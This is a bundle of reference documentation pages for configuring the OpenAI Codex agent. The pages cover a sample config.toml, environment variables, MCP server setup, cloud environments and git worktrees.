# # experimental_bearer_token = "sk-example" # dev-only
# # http_headers = { "X-Example" = "value" }
# # env_http_headers = { "OpenAI-Organization" = "OPENAI_ORGANIZATION", "OpenAI-Project" = "OPENAI_PROJECT" }
# --- Azure/OpenAI-compatible ---
# [model_providers.azure]
# name = "Azure"
# base_url = "https://YOUR_PROJECT_NAME.openai.azure.com/openai"
# wire_api = "responses"
# query_params = { api-version = "2025-04-01-preview" }
# env_key = "AZURE_OPENAI_API_KEY"
# env_key_instructions = "Set AZURE_OPENAI_API_KEY in your environment"
# --- command-backed bearer token auth ---
# [model_providers.proxy]
# name = "OpenAI using LLM proxy"
# base_url = "https://proxy.example.com/v1"
# wire_api = "responses"
# model_catalog_url = "https://proxy.example.com/codex-models.json"
# [model_providers.proxy.capabilities]
# external_web_access = false
# remote_compaction = "unsupported" # unsupported | v2
# [model_providers.proxy.auth]
# command = "/usr/local/bin/fetch-codex-token"
# args = ["--audience", "codex"]
# timeout_ms = 5000
# refresh_interval_ms = 300000
# --- Local OSS ---
# [model_providers.local_ollama]
# name = "Ollama"
# base_url = "http://localhost:11434/v1"
# wire_api = "responses"
################################################################################
# Apps / Connectors
################################################################################
[apps]
# [apps._default]
# enabled = true
# destructive_enabled = true
# open_world_enabled = true
# approvals_reviewer = "user" # user | auto_review
# default_tools_approval_mode = "auto" # auto | prompt | writes | approve
# [apps.google_drive]
# enabled = false
# destructive_enabled = false
# default_tools_enabled = true
# approvals_reviewer = "auto_review"
# default_tools_approval_mode = "prompt"
# [apps.google_drive.tools."files/delete"]
# enabled = false
# approval_mode = "approve"
# [tool_suggest]
# discoverables = [
# { type = "connector", id = "gmail" },
# { type = "plugin", id = "figma@openai-curated" },
# ]
# disabled_tools = [
# { type = "plugin", id = "slack@openai-curated" },
# { type = "connector", id = "connector_googlecalendar" },
# ]
################################################################################
# Config Profiles (separate files under $CODEX_HOME, selected with codex --profile ci)
################################################################################
# $CODEX_HOME/ci.config.toml:
# model = "gpt-6.1-sol"
# approval_policy = "on-request"
# sandbox_mode = "read-only"
# service_tier = "fast"
# oss_provider = "ollama"
# model_reasoning_effort = "medium"
# plan_mode_reasoning_effort = "high"
# model_reasoning_summary = "auto"
# model_verbosity = "medium"
# personality = "none"
# chatgpt_base_url = "https://chatgpt.com/backend-api/"
# model_catalog_json = "./models.json"
# model_instructions_file = "/absolute/or/relative/path/to/instructions.txt"
# experimental_compact_prompt_file = "./compact_prompt.txt"
# tools_view_image = true
# features = { shell_snapshot = false }
[projects]
# [projects."/absolute/path/to/project"]
# trust_level = "trusted" # or "untrusted"
[tools]
# view_image = true
################################################################################
# OpenTelemetry (OTEL)
################################################################################
[otel]
log_user_prompt = false
environment = "dev"
exporter = "none" # none | otlp-http | otlp-grpc
trace_exporter = "none"
metrics_exporter = "statsig" # none | statsig | otlp-http | otlp-grpc; analytics.enabled = false disables it in the CLI
# [otel.exporter."otlp-http"]
# endpoint = "https://otel.example.com/v1/logs"
# protocol = "binary" # "binary" | "json"
# [otel.exporter."otlp-http".headers]
# "x-otlp-api-key" = "${OTLP_TOKEN}"
# [otel.exporter."otlp-http".tls]
# ca-certificate = "certs/otel-ca.pem"
# client-certificate = "/etc/codex/certs/client.pem"
# client-private-key = "/etc/codex/certs/client-key.pem"
# [otel.trace_exporter."otlp-grpc"]
# endpoint = "https://otel.example.com:4317"
# headers = { "x-otlp-meta" = "abc123" }
################################################################################
# Windows
################################################################################
[windows]
# mxc | elevated | unelevated. Legacy fallback when features.prefer_mxc is enabled; explicit mxc doesn't fall back.
sandbox = "elevated"
```
## Notes
- The official sample leaves the `[[skills.config]]` header uncommented with its keys commented out; it is commented out here so copying the sample does not create an entry without `path`.
- Root keys must appear before tables in TOML.
- In the official sample, the commented `model_provider = "amazon-bedrock"` / `model = "<bedrock-model-id>"` lines sit under `[model_providers]`; if uncommented there they become keys of that table, so move them to the root (Core Model Selection section, before any table header) and keep only `[model_providers.amazon-bedrock.aws]` under the providers section.
- Optional keys that default to "unset" are shown commented out with notes.
- MCP servers, profile files, and model providers in the sample are illustrative — remove or edit for your setup.
- Web search `cached` serves results from an OpenAI-maintained index; `indexed` gates external web access through the search index; `live` fetches the most recent data.
- `[features.network_proxy]` must be enabled for a profile's network domain rules to apply; a profile's `network.enabled` alone allows direct network access. Web search, apps, connectors, and MCP servers use separate controls. Exact hosts match only themselves; `*.example.com` matches subdomains only; `**.example.com` matches the apex plus subdomains; `*` allows any public host not denied.
- Set `default_permissions = "workspace"` before using the `[permissions.workspace.*]` example profile, and remove or comment out the root `sandbox_mode` line and the `[sandbox_workspace_write]` table — `default_permissions` must not be combined with them (see [Configuration Reference](./config-reference.md)).
- For every key's type/description, see [Configuration Reference](./config-reference.md).
## Related
- [Config basics](./config-basics.md)
- [Advanced Configuration](./config-advanced.md)
- [Configuration Reference](./config-reference.md)
references/config/environment-variables.md
# Environment variables
Codex uses `config.toml` for durable settings. Environment variables cover shell-scoped overrides, automation secrets, installer behavior, and diagnostics. This page lists stable public variables Codex reads directly (not internal/test variables, nor provider secret names you choose with `env_key`).
## Signature / Usage
```shell
export CODEX_HOME="$HOME/.codex"
export CODEX_API_KEY="sk-..."
codex exec "summarize this repo"
```
```bash
curl -fsSL -o install.sh https://chatgpt.com/codex/install.sh
less install.sh # review the contents and origin first
CODEX_NON_INTERACTIVE=1 sh install.sh
```
```bash
RUST_LOG=debug codex -c log_dir=./.codex-log
tail -F ./.codex-log/codex-tui.log
```
## Options / Props
Core locations:
| Variable | Used by | Default | Description |
|----------|---------|---------|-------------|
| `CODEX_HOME` | CLI, IDE extension, app-server, installers | `~/.codex` | Root for Codex state (config, auth, logs, sessions, skills, standalone package metadata). If you set it, the directory must already exist. |
| `CODEX_SQLITE_HOME` | CLI and app-server state | `CODEX_HOME` | Where SQLite-backed state is stored. The `sqlite_home` config option takes precedence. Relative paths resolve from the current working directory. |
Installer variables (standalone install scripts `https://chatgpt.com/codex/install.sh` and `install.ps1`):
| Variable | Default | Description |
|----------|---------|-------------|
| `CODEX_NON_INTERACTIVE` | `false` | `1`, `true`, or `yes` skips installer prompts (prompts use their default response); for scripted installs and updates, not first-run setup. |
| `CODEX_INSTALL_DIR` | `~/.local/bin` on macOS/Linux; `%LOCALAPPDATA%\Programs\OpenAI\Codex\bin` on Windows | Where the visible `codex` command is installed. The standalone package cache still lives under `CODEX_HOME/packages/standalone`. |
Authentication and network:
| Variable | Used by | Description |
|----------|---------|-------------|
| `CODEX_API_KEY` | Exec, review, TypeScript SDK, remote exec-server | API key for a non-interactive Codex process. Set it inline rather than job-wide when running repository-controlled code. |
| `CODEX_ACCESS_TOKEN` | CLI, app-server, trusted automation | ChatGPT or Codex access token. For persisted login, pipe it to `codex login --with-access-token`. |
| `OPENAI_FEDERATION_RULE_ID` | Workload identity | Selects the federation rule configured for the workload. |
| `OPENAI_IDENTITY_TOKEN_FILE` | Workload identity | Absolute path of the file containing the current OIDC token or SPIFFE JWT-SVID. |
| `OPENAI_WORKLOAD_IDENTITY_CONTEXT` | Workload identity | Optional bounded JSON identifiers for client-reported audit attribution; doesn't affect authentication or authorization. |
| `CODEX_CA_CERTIFICATE` | HTTPS, login, and WebSocket clients | PEM CA bundle for corporate TLS interception or private roots. Takes precedence over `SSL_CERT_FILE`. |
| `SSL_CERT_FILE` | HTTPS, login, and WebSocket clients | Fallback PEM CA bundle path when `CODEX_CA_CERTIFICATE` is unset. |
Diagnostics:
| Variable | Used by | Description |
|----------|---------|-------------|
| `RUST_LOG` | CLI and app-server | Rust log filtering and verbosity (`error`, `warn`, `info`, `debug`, `trace`, or targeted filters such as `codex_core=debug,codex_tui=debug`). `codex exec` defaults to `error` output unless set more verbose. |
## Notes
- `CODEX_HOME` is the base for most other config/state locations documented in [Advanced Configuration](./config-advanced.md).
- For provider API keys, set `env_key` in the model provider configuration; Codex reads the variable named there, so the name isn't a fixed Codex variable.
- The interactive CLI records diagnostics in bounded local stores by default; the plaintext `codex-tui.log` is opt-in via an explicit `log_dir`. In non-interactive mode, `codex exec` prints messages inline instead of writing a TUI log file.
- Run installers with `CODEX_NON_INTERACTIVE=1` on the shell that runs the downloaded installer; PowerShell: `irm https://chatgpt.com/codex/install.ps1 -OutFile install.ps1`, review the file, then `$env:CODEX_NON_INTERACTIVE=1; ./install.ps1`.
- The official docs show the installers piped straight into the shell; this page instead downloads, reviews, then runs the installer as separate steps for safety.
- For automation secret handling and access token setup, see the non-interactive mode and access-tokens pages.
## Related
- [Config basics](./config-basics.md)
- [Advanced Configuration](./config-advanced.md)
references/config/mcp-config.md
# Model Context Protocol (MCP server configuration)
Connect Codex to MCP servers to give it access to third-party documentation and developer tools (browser, Figma, GitHub, etc). Configuration is stored in `config.toml` and shared across the ChatGPT desktop app, Codex CLI, and IDE extension.
## Signature / Usage
```bash
# Add a STDIO MCP server via CLI
codex mcp add <server-name> --env VAR1=VALUE1 --env VAR2=VALUE2 -- <stdio server-command>
# Example: Context7 docs server
codex mcp add context7 -- npx -y @upstash/context7-mcp
# List / manage
codex mcp list
codex mcp login <server-name> # OAuth login for a server
```
```toml
# ~/.codex/config.toml or .codex/config.toml (project-scoped, trusted only)
[mcp_servers.context7]
command = "npx"
args = ["-y", "@upstash/context7-mcp"]
env_vars = ["LOCAL_TOKEN"]
[mcp_servers.context7.env]
MY_ENV_VAR = "MY_ENV_VALUE"
```
Each server is a `[mcp_servers.<server-name>]` table. In the TUI, `/mcp` lists active servers.
## Supported server types
- **STDIO servers**: run as a local process, support environment variables.
- **Streamable HTTP servers**: accessed at a URL; support bearer token auth, OAuth, and ChatGPT session auth for trusted first-party servers.
- **Server instructions**: Codex reads the MCP `instructions` field from server initialization and uses it as server-wide guidance. Server authors should keep the first 512 characters self-contained.
## Options / Props
### STDIO servers
| Name | Type | Description |
|------|------|-------------|
| `command` | string (required) | Command that starts the server. |
| `args` | array<string> | Arguments passed to the server. |
| `env` | map<string,string> | Environment variables set for the server. |
| `env_vars` | array<string \| {name, source}> | Env vars to allow/forward. String entries and `source = "local"` read Codex's local environment; `source = "remote"` reads a remote executor environment (requires remote MCP stdio). |
| `cwd` | string | Working directory to start the server from. |
| `experimental_environment` | `remote` | Start the stdio server through a remote executor environment when available. |
```toml
env_vars = ["LOCAL_TOKEN", { name = "REMOTE_TOKEN", source = "remote" }]
```
### Streamable HTTP servers
| Name | Type | Description |
|------|------|-------------|
| `url` | string (required) | Server address. |
| `auth` | `oauth` \| `chatgpt` | Auth to try after configured bearer tokens/headers. `oauth` (default) uses stored MCP OAuth credentials. `chatgpt` uses the current ChatGPT session for the trusted first-party ChatGPT origin, falling back to stored OAuth. |
| `bearer_token_env_var` | string | Env var name for a bearer token sent in `Authorization`. |
| `http_headers` | map<string,string> | Static header values. |
| `env_http_headers` | map<string,string> | Header values pulled from environment variables. |
| `http_headers_helper` | string (command) | Local command that prints a JSON object of header names and string values (e.g. `{"X-Auth": "temporary-token"}`). Only for HTTP MCP connections made from the local environment; not stdio or remote execution environments. |
| `oauth.client_id` / `oauth.client_secret` | string | Pre-registered OAuth client (secret requires a nonempty client ID; saved in `config.toml`, keep it private). |
| `oauth.callback_url` / `oauth.callback_port` | string / integer | Saved callback URL and server-specific listener port. |
If no credential source resolves, Codex can connect without authentication. Run `codex mcp login <server-name>` to start MCP OAuth login separately. Codex caches helper headers for the connection; after a same-origin POST returns `401` or `403` it refreshes once and retries only if the helper returns changed values. Explicit bearer tokens and OAuth credentials take precedence over a helper-provided `Authorization` header; an OAuth `403` reporting insufficient scope doesn't trigger a helper refresh.
### Common to both transports
| Name | Type | Description |
|------|------|-------------|
| `startup_timeout_sec` | number | Server start timeout. Default `10`. |
| `tool_timeout_sec` | number | Tool run timeout. Default `60`. |
| `enabled` | boolean | Set `false` to disable a server without deleting it. |
| `required` | boolean | Set `true` to fail startup if this enabled server can't initialize. |
| `enabled_tools` | array<string> | Tool allow list. |
| `disabled_tools` | array<string> | Tool deny list, applied after `enabled_tools`. |
| `default_tools_approval_mode` | `auto` \| `prompt` \| `writes` \| `approve` | Default approval behavior for this server's tools. `writes` prompts only for tools not marked read-only. |
| `tools.<tool>.approval_mode` | `auto` \| `prompt` \| `writes` \| `approve` | Per-tool approval override. |
| `tools.<tool>.output_token_limit` | integer (positive) | Token budget for one tool's output, before the standard 20% serialization allowance; overrides the model's default truncation budget for that tool. |
Top-level `mcp_optional_startup_grace_ms` (default `1000`) controls how long Codex waits for optional MCP servers when building the initial tool catalog; `0` waits for each server's `startup_timeout_sec`. Required servers still use their startup timeouts.
OAuth client registration (CLI):
```bash
codex mcp add example --url https://mcp.example.com --oauth-client-id my-client
codex mcp add example --url https://mcp.example.com --oauth-client-id my-client --oauth-client-secret "$MCP_CLIENT_SECRET"
codex mcp login <server-name> --oauth-client-registration cimd # or dcr; default auto
```
```toml
[mcp_servers.example]
url = "https://mcp.example.com"
[mcp_servers.example.oauth]
client_id = "my-client"
callback_url = "http://127.0.0.1/callback"
```
Top-level OAuth callback overrides:
```toml
mcp_oauth_callback_port = 5555
mcp_oauth_callback_url = "https://devbox.example.internal/callback"
```
`mcp_oauth_callback_port` fixes the local callback port (ephemeral if unset). `mcp_oauth_callback_url` sets a base callback URL for the OAuth `redirect_uri`; Codex appends a server-specific callback ID, so register the full derived URI with the OAuth provider, not just the base host/path. If the MCP server advertises `scopes_supported`, Codex prefers those scopes over `config.toml`-configured ones.
## Config examples
```toml
[mcp_servers.figma]
url = "https://mcp.figma.com/mcp"
bearer_token_env_var = "FIGMA_OAUTH_TOKEN"
http_headers = { "X-Figma-Region" = "us-east-1" }
```
```toml
[mcp_servers.chrome_devtools]
url = "http://localhost:3000/mcp"
enabled_tools = ["open", "screenshot"]
disabled_tools = ["screenshot"] # applied after enabled_tools
default_tools_approval_mode = "prompt"
startup_timeout_sec = 20
tool_timeout_sec = 45
enabled = true
[mcp_servers.chrome_devtools.tools.open]
approval_mode = "approve"
```
### Plugin-provided MCP servers
Installed plugins can bundle MCP servers in their plugin manifest; the plugin launches them, so user config cannot set transport (`command`/`url`). User config still controls on/off state and tool policy under `plugins.<plugin>.mcp_servers.<server>`.
```toml
[plugins."sample@test".mcp_servers.sample]
enabled = true
default_tools_approval_mode = "prompt"
enabled_tools = ["read", "search"]
[plugins."sample@test".mcp_servers.sample.tools.search]
approval_mode = "approve"
```
## Configure without editing TOML directly
- **ChatGPT desktop app**: Settings > MCP servers > Add server (STDIO or Streamable HTTP) > Restart. `/mcp` in the composer lists connected servers.
- **Codex CLI**: `codex mcp add`, `codex mcp list`, `codex mcp login <server-name>`, `codex mcp --help`. In the TUI, `/mcp` lists active servers.
- **IDE extension**: gear menu > MCP servers > Add server > Restart extension.
- **ChatGPT web**: doesn't read local Codex config; use **Plugins** in ChatGPT Work to install plugin-bundled connectors/remote MCP tools instead.
## Examples of useful MCP servers
- OpenAI Docs MCP — search/read OpenAI developer docs.
- Context7 — up-to-date developer documentation.
- Figma (Local / Remote) — access Figma designs.
- Playwright — control/inspect a browser.
- Chrome Developer Tools — control/inspect Chrome.
- Sentry — access Sentry logs.
- GitHub — manage issues/PRs beyond `git`.
## Notes
- This page documents OpenAI Codex's MCP **client** configuration (Codex connecting out to MCP servers), distinct from OpenAI API / Agents SDK MCP usage (`openai-agents` skill), which covers building/consuming MCP from the Agents SDK side.
- `codex mcp-server` and the standalone `codex-mcp-server` binary have been removed; hosting Codex as an MCP server is no longer supported. Integrations that need authentication, conversation history, approvals, and streamed events should use the Codex app server (see app-server.md in the security-automation category). `codex mcp` continues to manage external MCP servers.
- Supported MCP features on a Codex host: STDIO servers (environment variables); Streamable HTTP servers (bearer token, OAuth including Client ID Metadata Documents (CIMD) and Dynamic Client Registration (DCR), ChatGPT session auth for trusted first-party servers); server instructions (the `instructions` field read at initialization).
- OAuth registration: by default (`auto`) Codex chooses CIMD when the authorization server advertises `client_id_metadata_document_supported: true`, includes `none` in `token_endpoint_auth_methods_supported`, and the callback is a supported loopback URL; otherwise DCR when available. A configured OAuth client ID always takes precedence and skips registration. `--oauth-client-registration` applies only to the current login and isn't stored.
- Callback URLs: newly added pre-registered clients use a stable callback only when the authorization server advertises `authorization_response_iss_parameter_supported: true` with a metadata `issuer`; otherwise Codex appends a server-specific callback ID (e.g. `http://127.0.0.1/callback/XuuuHAzzHOni`). Register the exact callback displayed by `codex mcp add`. A mismatched `iss` always rejects the response; a missing `iss` rejects it when issuer support is advertised. For `http://127.0.0.1` callbacks without an explicit port, the active listener port is inserted during authorization. An explicit port in the callback URL doesn't configure the listener; use `mcp_oauth_callback_port` or `oauth.callback_port`.
- Plugin-provided HTTP MCP servers can declare OAuth in `.mcp.json` with camelCase `clientId`, `callbackUrl`, `callbackPort` under `oauth`; a plugin's `callbackPort` overrides the global `mcp_oauth_callback_port`, and the same callback-selection rules apply.
- Server authors: use `instructions` for cross-tool workflows, constraints, and rate limits, and keep the first 512 characters self-contained.
- ChatGPT web uses remote MCP tools through plugins and doesn't read local Codex configuration files. In Local computer access with Work Cloud, managed `mcp_servers` requirements apply to local executors only (ChatGPT Work specifics are out of this skill's scope).
- For the full key list (types, defaults) alongside every other `config.toml` key, see [Configuration Reference](./config-reference.md).
## Related
- [Config basics](./config-basics.md)
- [Advanced Configuration](./config-advanced.md)
- [Configuration Reference](./config-reference.md)
references/config/README.md
# config
| Name | Description | Path |
|------|-------------|------|
| Config basics | Config file locations, precedence, common options, feature flags | [config-basics.md](./config-basics.md) |
| Advanced Configuration | Profiles, CLI overrides, hooks, custom providers, sandbox/approvals, shell env policy, OTel, notifications, history, desktop file handlers | [config-advanced.md](./config-advanced.md) |
| Configuration Reference | Complete `config.toml` and `requirements.toml` key/type/description tables | [config-reference.md](./config-reference.md) |
| Sample Configuration | Full example `config.toml` covering most keys | [config-sample.md](./config-sample.md) |
| Environment variables | `CODEX_HOME`, `CODEX_API_KEY`, `RUST_LOG`, and other env vars | [environment-variables.md](./environment-variables.md) |
| Model Context Protocol (MCP config) | `[mcp_servers.<name>]` STDIO/HTTP server configuration, OAuth, approval modes | [mcp-config.md](./mcp-config.md) |
| Use ChatGPT Work and Codex with Amazon Bedrock | `amazon-bedrock-runtime` / `amazon-bedrock` providers, AWS-native auth (Bedrock API key or IAM), `web_search` setting | [amazon-bedrock.md](./amazon-bedrock.md) |
references/environments/cloud-environment.md
# Codex Cloud (Legacy)
Codex Cloud (Legacy) continues to support environments for Code Review and the Linear and GitHub integrations. For the current web, mobile, and desktop experience, see [Cloud environments](./cloud-environments.md). Use environments to control what Codex installs and runs during cloud chats: dependencies, tools (linters, formatters), and environment variables. Configured in Codex settings (chatgpt.com/codex/settings/environments).
## Signature / Usage
```bash
# Manual setup script example (runs before the agent phase)
pip install pyright
poetry install --with test
pnpm install
```
## How Codex cloud chats run
1. Codex creates a container and checks out the repo at the selected branch/commit.
2. Codex runs the setup script, plus an optional maintenance script when a cached container is resumed.
3. Codex applies internet access settings: setup scripts run with internet access; agent internet access is off by default (configurable).
4. The agent runs terminal commands in a loop, editing code and validating work. If the repo has `AGENTS.md`, the agent uses it to find project-specific lint/test commands.
5. The agent shows its answer and a diff; you can open a PR or ask follow-up questions.
## Options / Props
| Name | Type | Description |
|------|------|-------------|
| Default image | `universal` | Pre-installed common languages/packages/tools; pin runtime versions via **Set package versions**. See [openai/codex-universal](https://github.com/openai/codex-universal) for the reference Dockerfile. |
| Environment variables | key/value | Set for the full chat duration (setup scripts + agent phase). |
| Secrets | key/value | Extra encryption layer; available only to setup scripts, removed before the agent phase starts. |
| Automatic setup | — | For `npm`/`yarn`/`pnpm`/`pip`/`pipenv`/`poetry` projects, Codex can auto-install dependencies. |
| Setup script | bash | Custom install/build commands; runs in a separate Bash session from the agent, so `export` doesn't persist (use `~/.bashrc` or environment settings to persist vars). |
| Maintenance script | bash | Optional; runs when a cached container is resumed, to refresh dependencies against a newer commit. |
## Container caching
Codex caches container state for up to 12 hours. When cached, Codex clones the repo, checks out the default branch, runs the setup script, and caches the result. When a cached container is resumed, Codex checks out the chat's branch and runs the maintenance script. Codex invalidates the cache automatically on setup/maintenance script, environment variable, or secret changes; use **Reset cache** on the environment page otherwise. For Business/Enterprise, caches are shared workspace-wide, so invalidation affects all users of the environment.
## Notes
- This is the legacy flow (https://learn.chatgpt.com/docs/environments/cloud-environment.md), kept for Code Review and the Linear and GitHub integrations; the current web, mobile, and desktop experience is documented in [Cloud environments](./cloud-environments.md). The earlier getting-started steps based on the environment settings page (chatgpt.com/codex/settings/environments) belong to this legacy flow.
- Setup scripts can install additional packages on top of the pre-installed `universal` image (`codex-universal`).
- Internet access is available during the setup script phase and with limited or unrestricted access configured; during the agent phase it's off by default (see agent internet access settings, `../getting-started/cloud-internet-access.md`).
- Agent Security command-network requirements: on supported managed Codex Cloud execution paths, Agent Security requirements constrain command networking, while Codex Cloud environment internet settings apply separately (an allowed domain in Agent Security does not override a restriction in the environment's internet settings). These controls don't by themselves disable hosted web search, apps, or MCP. ChatGPT Work Cloud has separate capability permissions and doesn't inherit them. A managed command allowlist applies to commands using the managed proxy; approved full sandbox escalation (where policy permits it) can bypass the command proxy. Configure enforced approval and sandbox requirements and test ordinary and escalated commands (see managed-configuration.md).
- Environments run behind an HTTP/HTTPS network proxy for security and abuse prevention; all outbound traffic passes through it.
- This page covers cloud environment configuration in depth. For the cloud product overview (getting started, when to use cloud), see `cloud.md` in the getting-started category.
## Related
- [Cloud environments](./cloud-environments.md)
- [modes.md](./modes.md)
- [local-environment.md](./local-environment.md)
- [Codex cloud](../getting-started/cloud.md)
- [Agent internet access](../getting-started/cloud-internet-access.md)
references/environments/cloud-environments.md
# Cloud environments
A cloud environment is the reusable setup (repositories, dependencies, tools, access settings) that Codex Cloud tasks start from. Each new task gets its own isolated workspace from the published environment; Codex inspects the repositories, prepares the setup, and tests it with you.
## Signature / Usage
Create and publish (web or desktop app, signed in with ChatGPT):
1. In a new task, choose **Work in** > **Cloud**, open **Select environment**, and select **Create environment** (or **Settings** > **Codex Cloud** > **Environments** > **Create environment**).
2. Select the GitHub repositories to check out. Connect GitHub if prompted.
3. Select **Get started**. Codex inspects the repositories, installs dependencies and tools, and tests the workflow.
4. Supply missing access or information when asked. You can also request specific versions, commands, or services.
5. Review the setup report, configuration, and files. Resolve unfinished work, save changes, and select **Publish**.
6. After **Environment published** appears, select **Start a new task**.
Example request during setup:
```text
Install pnpm and run the project's tests.
```
## Options / Props
| Name | Type | Description |
|------|------|-------------|
| Install script | commands | Commands to install dependencies and prepare development assets. |
| Start skill | instructions | Instructions to start services and check that they're ready. |
| Environment variable | key/value | A value a program must read directly. Passed directly to programs in the environment. |
| Network secret | Key / Value / Allowed domains | A credential sent to a specific HTTPS service. Programs receive a placeholder; the proxy substitutes the real value for allowed destinations (HTTPS, port 443, during setup and tasks). Use a different key from any direct variable. |
| Personal vault | tab in Settings > Codex Cloud | Your own environment variables and network secrets. **Applies to**: **All environments** or **Selected environments**. A value for a specific environment takes precedence over a general default. |
| Allow Codex to access internet | toggle | Enables internet access. **Allow domains**: **Package managers**, **Custom domains only**, or **All (unrestricted)**; add hosts under **Additional allowed domains**. |
| Advanced > VPN | setting | Private networking. Tailscale is the supported provider (auth key must be **Reusable** and **Ephemeral**). Private IPv4 subnet routes, split DNS and MagicDNS supported. |
| Advanced > OIDC | setting | Short-lived credentials for cloud resources via a supported connection (configure trust with the displayed **Issuer**, **Audience**, and **Subject** or claim conditions). Available by request for Enterprise workspaces. |
| Privacy > Who can use | setting | **Only me** or your workspace. Controls who can start tasks from the environment. |
VM defaults per ChatGPT plan:
| ChatGPT plan | vCPUs | Memory | Disk space |
|--------------|------:|-------:|-----------:|
| Plus, Edu Plus | 2 | 8 GiB | 8 GiB |
| Pro, Business, Enterprise | 4 | 16 GiB | 32 GiB |
| Edu, Edu Pro | 4 | 16 GiB | 32 GiB |
## Reuse and update saved state
- **New task:** starts from the published environment's prepared filesystem.
- **Existing task:** continues with its own saved files, including uncommitted changes and installed tools.
- **Repository refresh:** runs automatically in the background, preserving dependency caches without rerunning installation or startup commands.
To update: **Settings** > **Codex Cloud** > **Environments**, the environment's **...** menu > **Edit**, let Codex prepare and test the change, save, then **Republish**. Start a new task to use the update.
## Package managers preset domains
- npm and Yarn: `registry.npmjs.org`, `registry.yarnpkg.com`
- PyPI and PyTorch: `pypi.org`, `files.pythonhosted.org`, `download.pytorch.org`, `download-r2.pytorch.org`
- Rust: `crates.io`, `index.crates.io`, `static.crates.io`, `static.rust-lang.org`
- Go: `proxy.golang.org`, `sum.golang.org`
- Maven and Gradle: `repo.maven.apache.org`, `repo1.maven.org`, `plugins.gradle.org`, `plugins-artifacts.gradle.org`, `services.gradle.org`, `downloads.gradle.org`
- Bazel: `bcr.bazel.build`, `mirror.bazel.build`
- Buf: `buf.build`
- CPAN: `cpan.metacpan.org`
- Ubuntu and Debian: `archive.ubuntu.com`, `security.ubuntu.com`, `ports.ubuntu.com`, `ppa.launchpadcontent.net`, `deb.debian.org`, `security.debian.org`
- Vendor repositories: `packages.microsoft.com`, `apt.buildkite.com`, `developer.download.nvidia.com`, `deb.nodesource.com`
- GitHub source, archives, releases, and LFS: `github.com`, `codeload.github.com`, `github-cloud.githubusercontent.com`, `github-cloud.s3.amazonaws.com`, `release-assets.githubusercontent.com`
- Other downloads: `dl.google.com`, `pkgconfig.freedesktop.org`
## Notes
- Source: https://learn.chatgpt.com/docs/environments/cloud-environments (Markdown twin, fetched 2026-10; the page has no version number).
- Codex Cloud (Legacy) still supports Code Review and the Linear and GitHub integrations and is planned for deprecation; see `cloud-environment.md` for the legacy setup-script / maintenance-script / container-caching model. This page documents the current published-environment model (install script, start skill).
- Saving stores configuration (some settings apply to the active setup immediately); publishing captures the prepared filesystem for new tasks; sharing controls who can use the environment.
- Saved state doesn't replace source control; commit important work.
- Saving environment-owned network secrets adds their destinations to restricted internet access. Direct variables and personal values don't add destinations. Allowing a destination doesn't supply credentials or grant permissions.
- For registered root domains in the Package managers preset, the corresponding `www` hostname is also allowed; other subdomains need their own entries.
- Services that filter by source IP can use the agent egress IP feed (https://openai.com/chatgpt-agents.json): allow every published range, check the feed daily; ranges are shared across customers.
- VPN: allow destinations in both the VPN access rules and the environment's internet-access settings; use a fully qualified hostname (e.g. `api.corp.example.com`) that resolves to an IPv4 address. Tasks in a shared environment use its configured VPN identity. When testing with `curl`, omit `--noproxy`.
- OIDC: editing a shared identity connection can affect other environments that use it; allow provider endpoints separately in the network policy.
- Sharing: access to the setup doesn't grant access to someone else's task or permission to edit the environment. **Use Codex in the cloud** controls task access; **Manage workspace environments** controls creating/editing shared environments. Enterprise admins configure workspace requirements via Agent Security, which apply alongside per-environment domain settings.
- Slack / Microsoft Teams: in an Enterprise workspace with Cloud delegation enabled, ask `@ChatGPT` to work on a repository; Codex chooses an environment shared with the workspace.
- A task's saved VM state is recoverable for up to seven days after you last start a turn or resume the task. Larger VMs are available for Enterprise.
- Not currently supported (on roadmap): computer and browser use; GitLab and self-hosted GitHub Enterprise Server. Skills stored in the repository are available in cloud tasks; personal local skills aren't synced.
- Troubleshooting: an environment with an **Unpublished** badge must be published before tasks can use it; after config changes, save, test during setup, publish or republish, and verify in a new task. If initial setup fails, select **Try again**.
## Related
- [cloud-environment.md](./cloud-environment.md)
- [modes.md](./modes.md)
- [local-environment.md](./local-environment.md)
references/environments/git-worktrees.md
# Worktrees
Git worktrees in Codex in the ChatGPT desktop app let Codex run multiple independent chats in the same project without interfering with each other, and move a chat between Local and Worktree via Handoff.
## Signature / Usage
```text
# .worktreeinclude — copy ignored local files into managed worktrees
.env
.env.local
config/secrets.json
```
## Options / Props
| Name | Description |
|------|-------------|
| Local checkout | The repository you created; also called Local in the app. |
| Worktree | A [Git worktree](https://git-scm.com/docs/git-worktree) created from the local checkout in the app; shares `.git` metadata with the local checkout. |
| Handoff | Moves a chat (and its code) between Local and Worktree; Codex handles the required Git operations. |
| `.worktreeinclude` | Repo-root file listing `.gitignore`-style patterns of ignored files (e.g. `.env`) to copy into a new managed worktree. Tracked files must not be listed. |
## Getting started
1. Select **Worktree** under the composer in the new chat view (optionally choose a local environment for setup scripts).
2. Choose the starting Git branch (`main`/`master`, a feature branch, or the current branch with unstaged changes).
3. Submit the prompt; Codex creates a worktree in a detached HEAD state.
4. Keep working on the worktree, or hand the chat off to the local checkout.
## Notes
- Worktrees run on the computer or remote development environment that contains the project; the ChatGPT mobile app controls Codex on the connected computer and worktrees don't run locally on your phone. A worktree is a second checkout of your repository with its own copy of every file but shared `.git` metadata, so you can work on multiple branches in parallel.
- Why use one: work in parallel without disturbing your Local setup, queue background work, and move a chat into Local later to inspect, test, or collaborate. Think of Local as the foreground and Worktree as the background.
- Option 1, stay on the worktree: use **Create branch here** in the chat header, then commit, push, and open a pull request; open your IDE with **Open** or use the integrated terminal. Option 2, **Hand off** to Local (or from Local to a worktree): Codex handles the Git steps; each chat keeps the same associated worktree over time. Files in `.gitignore` don't move with the chat unless copied into a managed worktree via `.worktreeinclude`.
- How Codex manages worktrees: they live under `$CODEX_HOME/worktrees`; the starting commit is the `HEAD` of the selected branch (uncommitted changes on that branch are applied too); the worktree is in detached HEAD state so Codex can create several without polluting branches. Codex-managed worktrees are lightweight and typically dedicated to one chat; a permanent worktree (project three-dot menu in the sidebar) is created as its own project and can host multiple chats.
- `.worktreeinclude`: copies ignored paths or `.gitignore`-style patterns (e.g. `.env`, `.env.local`, `config/secrets.json`) into new local managed worktrees; only ignored files matching it are copied, tracked files shouldn't be listed, source symlinks are skipped, existing files aren't overwritten, and it doesn't apply to remote worktrees or Git worktrees you create from the command line. Codex automatically copies an ignored `AGENTS.override.md`.
